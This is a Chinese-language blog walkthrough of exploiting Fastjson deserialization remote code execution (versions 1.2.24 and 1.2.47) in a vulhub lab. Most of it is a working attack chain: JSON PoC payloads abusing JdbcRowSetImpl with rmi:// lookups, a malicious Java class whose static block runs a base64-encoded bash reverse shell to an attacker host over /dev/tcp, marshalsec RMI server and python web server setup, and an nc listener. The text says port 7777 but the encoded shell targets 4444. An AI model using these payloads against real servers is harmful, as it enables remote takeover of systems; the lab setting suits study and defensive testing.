• Fastjson反序列化漏洞


    目录

    Fastjson简介

    Fastjson验证

     Fastjson复现

    搭建web服务

     搭建rmi服务

     开始执行



    Fastjson简介

    fastjson是阿里的开源JSON解析库提供两个主要方法JSON.toJSONStringJSON.parseObkect/JSON.parse来分别实现序列化和反序列化操作,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本

    Fastjson验证

    启动vulhub靶场环境 docker-compose up -d

     打开后我们可以i通过burp进行抓包将请求方式改为POST,并且输入错误的json数据

    fastjson1.2.47的版本会进行报错,其它版本的我没试过

     此时我们可以输入相应的poc和dnslog配合判断漏洞是否存在

    验证的poc

    1. //1.2.24以下版本
    2. {
    3. "a":{
    4. "@type":"com.sun.rowset.JdbcRowSetImpl",
    5. "dataSourceName":"rmi://ip:9999/Test",
    6. "autoCommit":true
    7. }
    8. }
    1. //1.2.47以下版本
    2. {
    3. "a":{
    4. "@type":"java.lang.Class",
    5. "val":"com.sun.rowset.JdbcRowSetImpl"
    6. },
    7. "b":{
    8. "@type":"com.sun.rowset.JdbcRowSetImpl",
    9. "dataSourceName":"rmi://ip:9999/Test",
    10. "autoCommit":true
    11. }
    12. }

     dnslog网址后面需要加资源,不然不会去访问

     dnslog收到访问,这就说明这个漏洞是存在的

     Fastjson复现

    需要在vps上搭建一个web服务以及rmi,然后把恶意类上传到web服务上面。

    当我们输入poc发送时,受害者就通过rmi服务访问我们,rmi服务再来指定加载远程类,去加载我们搭建的web服务上的恶意类,从而执行恶意类的代码反弹shell。

    搭建web服务

    恶意类代码:

    base64的是反弹shell的语句,此处反弹的是7777端口

    1. import java.lang.Runtime;
    2. import java.lang.Process;
    3. public class rmi{
    4. static {
    5. try {
    6. Runtime rt = Runtime.getRuntime();
    7. String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"};
    8. Process pc = rt.exec(commands);
    9. pc.waitFor();
    10. } catch (Exception e) {
    11. // do nothing
    12. }
    13. }
    14. }

    将恶意代码写为java结尾的文件,然后通过javac进行编译成class文件 

     

    通过python在vps开启一个临时的web服务python -m http.server 8080

    python安装

    将生成的恶意class文件放到web目录上,这里已经可以访问到了

     搭建rmi服务

    我用的centos

    将marshalsec下载到本地

    git clone https://github.com/mbechler/marshalsec.git

    安装maven

    yum install maven

    进入marshalsec,然后使用maven编译marshalsec成jar包

    mvn clean package -DskipTests

    经过一段漫长的编译后终于好了

     进入文件夹搭建rmi服务,后面跟web服务的地址以及rmi服务的端口,当受害者访问此rmi服务时就会自动重定向访问web服务加载上面的恶意类

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8080/#rmi" 6666

     开始执行

    此时web服务和rmi服务都以及搭建完成,开始漏洞利用

    监听机开启nc监听,等待获取反弹的shell

    burp处用构造好的poc去进行发送,让受害服务器去远程访问我们搭建的rmi服务

    公网的rmi服务这边收到了受害服务器的请求,将请求转发让受害者服务器去访问公网的web服务

     当受害者服务器去访问我们公网的web服务后,加载了恶意的类rmi.class,然后执行了类其中的反弹shell的命令,nc这边成功获取shell

  • 相关阅读:
    找单身狗。一个数组中只有两个数字出现一次,其他数字出现了两次,编写一个函数找出这两个只出现一次的数字
    2023年安全员-C证证模拟考试题库及安全员-C证理论考试试题
    linux相关笔记
    sql分析(查询截取分析做sql优化)
    django数据库mysql迁移问题
    第54篇-网易易盾滑块请求参数分析【2022-11-16】
    第十二章 磁盘管理
    缓冲区设置
    解析csv文件 流数据问题
    新品体验:阿里云新一代本地SSD实例i4开放公测
  • 原文地址:https://blog.csdn.net/xhscxj/article/details/127390539